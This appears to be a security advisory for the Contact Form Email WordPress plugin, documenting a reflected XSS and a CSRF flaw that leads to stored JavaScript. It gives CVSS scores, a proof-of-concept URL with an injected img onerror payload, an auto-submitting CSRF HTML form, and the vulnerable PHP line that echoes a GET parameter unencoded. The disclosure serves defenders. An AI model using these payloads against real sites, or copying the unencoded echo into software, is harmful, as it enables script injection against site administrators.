## Reflected XSS

##### CVSS

6.1 Medium
[CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)

##### Overview

The Contact Form Email WordPress plugin is vulnerable to reflected XSS
as it echoes the item parameter without proper encoding.

##### Proof of Concept


http://192.168.0.103/wordpress/wp-admin/admin.php?page=cp_contactformtoemail&edit=1&cal=1&item='"><img+src%3Dx+onerror%3Dalert(1)>

##### Code

    contact-form-to-email/cp_admin_int_edition.inc.php
    <input name="cfwpp_edit" type="hidden" value="<?php echo
$_GET["item"]; ?>" />


## CSRF (to XSS)

##### CVSS

6.1 Medium
[CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)

##### Overview

The plugin allows the addition of custom JavaScript to forms. Because
the request to place this addition is not protected against CSRF, an
attacker can place arbitrary JavaScript into the application if an
authenticated user visits a webpage containing malicious HTML and/or
JavaScript.

##### Proof of Concept

    <html>
      <body>
        <form
action="http://192.168.0.103/wordpress/wp-admin/admin.php?page=cp_contactformtoemail&edit=1&cal=1&item=js"
method="POST">
          <input type="hidden" name="CP_CFTE_post_edition"
value="1" />
          <input type="hidden" name="cfwpp_edit" value="js" />
          <input type="hidden" name="editionarea" value="alert(2);" />
          <input type="hidden" name="submit" value="Save Changes" />
          <input type="submit" value="Submit request" />
        </form>
      </body>
    </html>
